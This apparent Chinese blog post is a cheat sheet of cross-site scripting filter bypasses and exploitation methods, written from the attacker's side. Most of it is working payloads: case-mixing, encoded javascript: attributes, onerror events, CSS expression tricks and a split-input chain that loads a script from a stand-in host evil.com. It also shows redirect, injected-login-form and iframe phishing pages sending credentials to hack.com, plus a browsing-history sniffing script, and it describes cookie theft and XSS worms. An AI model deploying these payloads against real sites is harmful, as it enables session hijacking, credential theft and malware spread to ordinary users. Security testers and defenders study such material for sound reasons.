XSS绕过和利用方式总结

0x00 XSS

XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。比如获取用户Cookie,会话劫持,钓鱼欺骗等多种攻击。

0x01 绕过

实际的情况中,很多网站会对<>,script等关键词进行限制,也有的不允许在input中运行js脚本,这个时候,就需要去考虑怎么绕过。

  • 1 大小写混用

首先是最简单的大小写混用,对一些仅仅匹配过滤的系统进行绕过,如:

1
<ScRipt>AleRt('xss')</ScRipt>
  • 2 利用HTML标签属性值执行

在某些系统中,用户不能自己构造html标签,这个时候可以使用html标签属性值调用js,比如:

1
2
<table background="jacascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');">
  • 3 回车空格等

在有些系统中,xss Filter仅仅将敏感字符列入黑名单,可以通过空格,tab,回车来绕过限制,如:

1
<img src="javas cript:alert('xss');">

或者换行输入用分号分隔:

1
2
3
<img src="javas
cript:
alert('xss');">
  • 4 对标签属性进行转码

普通的标签属性值过滤还可以通过编码绕过,如:

1
<img src="javascript:alert('xss');">

可以写成:

1
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;>
  • 5 自己构造事件

不能依靠属性值运行xss的时候,我们可以尝试通过html事件来实现xss,如:

1
<img src="#" onerror=alert('xss') >

图片地址不存在,加载失败的时候就会运行后面的脚本

也可以在别的位置使用:
onload加载完成时运行
oncheck点击时运行
onmousemove当鼠标移动时运行

  • 6 注释过滤

在样式表中,/**/中间的内容会被浏览器忽略,在css中,我们可以使用expression执行js代码,这个时候遇到黑名单过滤,我们就可以通过添加无意义的注释符号来避开过滤。

1
<div style="xss:expr/*xss*/ession(alert('xss'))">
  • 7 拆分跨站

有的网站输入框对输入长度有所限制,无法构造出完整的xss代码,这个时候有一种十分巧妙的拆分法可供选择,如我们要输入:

1
document.write('<script src=http://www.evil.com/hack.js></script>')

但是输入框限制每次只能输入30个字符时,我们可以:

1
2
3
4
5
6
7
8
9
10
11
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=htt'</script>
<script>z=z+'p://www'</script>
<script>z=z+'.evil.c'</script>
<script>z=z+'om/hack'</script>
<script>z=z+'.js></s'</script>
<script>z=z+'cript>"'</script>
<script>z=z+')'</script>
<script>z=z+'eval(z)'</script>

这样就成功将代码拼接在z中,再通过eval(z)执行代码。

0x03 cookie劫持

cookie劫持在上一篇的跨站脚本攻击中已经详细演示过,具体方法就是通过用户点击链接访问页面,执行恶意xss代码然后将用户的浏览器cookie发送到我们自己的远程服务器,然后通过cookie来登陆。

0x04 xss钓鱼

xss钓鱼是xss最常用的利用方式,有很多种实现方式:

  • xss重定向钓鱼

我们在一个网页找到了xss漏洞:

1
http://www.123.com/index.php?input=[Expliot]

构造如下代码:

1
http://www.123.com/index.php?input=<script>document.location.href="http://www.hack.com"</script>

就可以通过xss重定向,将网页跳转到www.hack.com

  • HTML注入式钓鱼

仍然假设有如下漏洞页面

1
http://www.123.com/index.php?input=[Expliot]

然后我们在input里面写入一段html代码,就会在正常的网页中增添一个我们构造的登陆表单:

1
2
3
4
http://www.hack.com/index.php?input="'<html><head><title>login</title></head>
<body><div style="text-align: center;"><form
Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/>
<input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>

然后通过这个表单覆盖网页中的部分位置,就很容易引诱用户输入账号密码。

  • iframe钓鱼

iframe是HTML标签,作用是文档中的文档,或者浮动的框架(FRAME)。iframe元素会创建包含另外一个文档的内联框架。
我们先来看一个iframe的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<style>body{
margin:0px;
border:0px;
padding:0px;
}
iframe{border:0px;
}
</style>
</head>
<body>
<iframe src="http://www.baidu.com/" id="iframepage" name="iframepage" width="100%" height="100%" ></iframe>
</body>
</html>

这样我们可以用百度页面覆盖整个网页。

而xss-iframe钓鱼就是攻击者在有xss的网站中用iframe框架调用自己的黑页,覆盖整个页面或者登陆框,将数据传给自己。
我们可以先在自己的www.hack.com搭建好完全和对方相同的网页,并且在后台写好接收保存账号密码的php文件,然后将style和iframe写在xss中

1
2
3
<style>body{margin:0px;border:0px;padding:0px;}
iframe{border:0px;}
<iframe src="http://www.hack.com/"width="100%" height="100%"></iframe>

就会覆盖整个网页,并且将数据传给我们的网站。而且用户访问这个网站时url仍然是原本的url。

0x05 http history hack

css中有个属性visited,可以设置访问过的链接样式,然后xss可以通过遍历检查css中的visited属性,来查看一个用户是否访问过某些网站。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
< script >
var websites = [要检测的访问过的网址列表(自己补充)];
//遍历每个URL
for (var i = 0; i < websites.length: i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.write('<style>');
document.write('#id' + i + ":visited {color:#FF0000;}");
document.write('</style>');
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
document.body.removeChild(link);
if (color == "rgb(255,0,0)") { //visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { //Not visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
} < /script>/

0x06 xss网页挂马

在存储型xss中,我们可以将自己的xss代码提交上去,然后链接我们的木马,这样每个访问有xss页面的人都会触发木马。

0x07 xss Wrom

xss wrom即xss蠕虫,在一些存在存储型xss漏洞的大型社交网站,如果我们将xss代码的功能写成让访问到的人,在自己的主页里或其他有权限的页面提交一个一样的xss代码,这样浏览他的主页的人也会受到xss wrom影响继续写xss代码,这样就会很快传遍整个网络,危害极大。
而且xss蠕虫通常使用了大量的Ajax技术,即异步请求,无须刷新即可传输数据,隐蔽性高,传播速度极快。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!